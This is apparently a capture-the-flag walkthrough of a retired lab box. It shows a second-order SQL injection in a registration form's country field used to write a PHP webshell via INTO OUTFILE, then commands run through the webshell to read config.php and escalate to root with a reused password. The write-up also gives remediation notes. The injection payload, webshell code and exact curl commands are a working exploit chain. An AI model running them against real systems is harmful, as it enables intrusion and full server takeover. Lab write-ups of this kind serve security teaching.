Validation
Summary
The web application on port 80 hosted a UHC-qualifier registration form that stored user-supplied country values in MySQL without parameterisation. When the application later re-queried that stored row, a second-order SQL injection fired; the MySQL service account held the FILE privilege, letting a UNION SELECT … INTO OUTFILE payload write a PHP webshell directly into the Apache document root.
The webshell ran as www-data and gave immediate command execution. A PHP configuration file readable by that process contained a hardcoded database password that had been reused verbatim as the root operating-system account password — passing it to su completed full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for root>"Attack path — how the box was taken
Exact commands 2
Version and default-script scan of the four discovered ports.
$ nmap -Pn -sV -sC -p 22,80,4566,8080 --min-rate 5000 $TARGETConfirm Apache/PHP banner and identify the application on port 80.
$ curl -sS -I http://$TARGET/Exact commands 2
Retrieve the registration page and inspect field names and form action.
$ curl -sS http://$TARGET/Submit a benign registration and observe the redirect and account-page response to understand the data flow.
$ curl -sS -X POST http://$TARGET/index.php --data-urlencode 'username=testuser' --data-urlencode 'country=Brazil' -D -Exact commands 2
Register with a crafted country value that writes the webshell. Record the generated filename (date +%s timestamp).
$ SHELL="v$(date +%s).php"; curl -sS -i --max-time 10 -X POST "http://$TARGET/index.php" --data-urlencode "username=w${SHELL}" --data-urlencode "country=Brazil' UNION SELECT \"<?php system(\$_REQUEST['c']); ?>\" INTO OUTFILE \"/var/www/html/${SHELL}\"-- -"Confirm the webshell is live; expected response: uid=33(www-data).
$ curl -sS --max-time 10 "http://$TARGET/v1783350693.php?c=id"FixEliminate SQL injection by using parameterised queries throughout the applicationCritical
Exact commands 2
Confirm execution context: running user, hostname, and kernel version.
$ curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=id; hostname; uname -a'
uid=33(www-data) gid=33(www-data)Enumerate the web root to identify configuration files and application structure.
$ curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=ls -la /var/www/html/'FixRevoke the MySQL FILE privilege and prevent the database process from writing to the web rootCritical
Exact commands 1
Locate and read user.txt; expected output is <user.txt>.
$ curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=find / -name user.txt 2>/dev/null; cat /home/*/user.txt 2>/dev/null'Exact commands 2
Read the PHP configuration file and extract the database password.
$ curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=cat /var/www/html/config.php'Broader search across all web application files for any additional embedded credentials.
$ curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=grep -rn password /var/www/html/ 2>/dev/null'FixRemove hardcoded credentials from application files and enforce unique passwords per serviceCritical
su - root through the webshell's command execution channel. It was accepted immediately, granting a root shell. The same single credential protected both the MySQL database and the highest-privilege OS account, so compromising the web application was sufficient for full system takeover.Exact commands 2
Confirm root access via su with the discovered password; expected: uid=0(root).
$ curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=printf "%s\n" "'"$PASSWORD"'" | su - root -c "id; whoami" 2>&1'
uid=0(root)Read root.txt; expected output is <root.txt>.
$ curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=printf "%s\n" "'"$PASSWORD"'" | su - root -c "cat /root/root.txt" 2>&1'Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.48 ((Debian)) |
| 4566/tcp | http nginx |
| 8080/tcp | http nginx |